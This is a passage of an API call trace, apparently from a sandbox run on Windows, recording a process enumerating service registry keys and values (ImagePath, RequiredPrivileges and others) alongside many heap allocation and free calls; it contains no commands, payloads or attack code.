out: phkResult=0x18fb68*=0x144) returned 0x0 [0032.748] RegCloseKey (hKey=0x13c) returned 0x0 [0032.748] RegEnumKeyW (in: hKey=0x144, dwIndex=0x0, lpName=0x1d92850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0032.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1da4408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0032.748] RegEnumKeyW (in: hKey=0x144, dwIndex=0x1, lpName=0x1d92850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0032.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0032.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1da4450, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0032.748] RegEnumKeyW (in: hKey=0x144, dwIndex=0x2, lpName=0x1d92850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0032.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0032.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1da4408, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0032.748] RegEnumKeyW (in: hKey=0x144, dwIndex=0x3, lpName=0x1d92850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0032.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0032.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1da4450, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0032.748] RegEnumKeyW (in: hKey=0x144, dwIndex=0x4, lpName=0x1d92850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0032.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0032.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1da4408, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0032.749] RegEnumKeyW (in: hKey=0x144, dwIndex=0x5, lpName=0x1d92850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0032.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0032.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1da4450, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0032.749] RegEnumKeyW (in: hKey=0x144, dwIndex=0x6, lpName=0x1d92850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0032.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1da4408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0032.749] RegEnumKeyW (in: hKey=0x144, dwIndex=0x7, lpName=0x1d92850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0032.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0032.749] RegEnumKeyW (in: hKey=0x144, dwIndex=0x8, lpName=0x1d92850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0032.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1da4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0032.750] RegEnumValueA (in: hKey=0x94, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.750] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7d630 [0032.750] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d268 [0032.750] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.750] RegEnumValueA (in: hKey=0x94, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.750] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d258 [0032.750] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4498 [0032.750] RegEnumValueA (in: hKey=0x94, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.750] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2f8 [0032.750] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da44e0 [0032.750] RegEnumValueA (in: hKey=0x94, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.750] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d308 [0032.751] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4528 [0032.751] RegEnumValueA (in: hKey=0x94, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.751] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x20) returned 0x1d7bc08 [0032.751] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d630) returned 1 [0032.751] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d318 [0032.751] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4570 [0032.751] RegEnumValueA (in: hKey=0x94, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.751] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d328 [0032.751] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da45b8 [0032.751] RegEnumValueA (in: hKey=0x94, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.751] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d338 [0032.751] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4600 [0032.751] RegEnumValueA (in: hKey=0x94, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.751] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d348 [0032.751] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4648 [0032.751] RegEnumValueA (in: hKey=0x94, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.751] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x30) returned 0x1e2b870 [0032.751] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bc08) returned 1 [0032.751] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d358 [0032.751] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4690 [0032.751] RegEnumValueA (in: hKey=0x94, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.751] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d368 [0032.751] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da46d8 [0032.751] RegEnumValueA (in: hKey=0x94, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.751] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d378 [0032.751] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4720 [0032.751] RegEnumValueA (in: hKey=0x94, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0032.752] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.752] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.752] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.752] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.752] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.752] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.752] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.752] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.752] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.752] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.752] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d268) returned 1 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4498) returned 1 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d258) returned 1 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da44e0) returned 1 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d2f8) returned 1 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4528) returned 1 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d308) returned 1 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4570) returned 1 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d318) returned 1 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da45b8) returned 1 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d328) returned 1 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4600) returned 1 [0032.752] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d338) returned 1 [0032.753] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4648) returned 1 [0032.753] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d348) returned 1 [0032.753] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4690) returned 1 [0032.753] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d358) returned 1 [0032.753] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da46d8) returned 1 [0032.753] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d368) returned 1 [0032.753] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4720) returned 1 [0032.753] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d378) returned 1 [0032.753] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e2b870) returned 1 [0032.753] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.753] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.753] RegQueryValueExA (in: hKey=0x13c, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x18fb70, lpData=0x0, lpcbData=0x18fb78*=0x0 | out: lpType=0x18fb70*=0x7, lpData=0x0, lpcbData=0x18fb78*=0xab) returned 0x0 [0032.753] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0xc0) returned 0x1d97310 [0032.753] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.753] RegQueryValueExA (in: hKey=0x13c, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x18fb70, lpData=0x1d97310, lpcbData=0x18fb78*=0xab | out: lpType=0x18fb70*=0x7, lpData=0x1d97310*, lpcbData=0x18fb78*=0xab) returned 0x0 [0032.753] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.753] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7d630 [0032.753] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d378 [0032.753] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4720 [0032.753] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.753] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.753] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d368 [0032.753] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da46d8 [0032.753] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.753] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.753] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d358 [0032.753] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4690 [0032.753] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.753] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.753] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d348 [0032.753] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4648 [0032.754] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x20) returned 0x1d7bc08 [0032.754] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d630) returned 1 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d338 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4600 [0032.754] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d328 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da45b8 [0032.754] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d318 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4570 [0032.754] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x20) returned 0x1e2b870 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d308 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2f8 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4528 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d258 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da44e0 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d268 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4498 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d388 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d398 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47b0 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d3a8 [0032.754] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.754] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4720) returned 1 [0032.754] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d378) returned 1 [0032.754] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da46d8) returned 1 [0032.754] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d368) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4690) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d358) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4648) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d348) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4600) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d338) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da45b8) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d328) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4570) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d318) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bc08) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d97310) returned 1 [0032.755] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x20) returned 0x1d7bc08 [0032.755] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d318 [0032.755] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4570 [0032.755] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d328 [0032.755] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da45b8 [0032.755] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d338 [0032.755] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4600 [0032.755] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d348 [0032.755] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4648 [0032.755] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d358 [0032.755] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4690 [0032.755] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d368 [0032.755] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da46d8 [0032.755] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d378 [0032.755] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4720 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d308) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4528) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d2f8) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da44e0) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d258) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4498) returned 1 [0032.755] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d268) returned 1 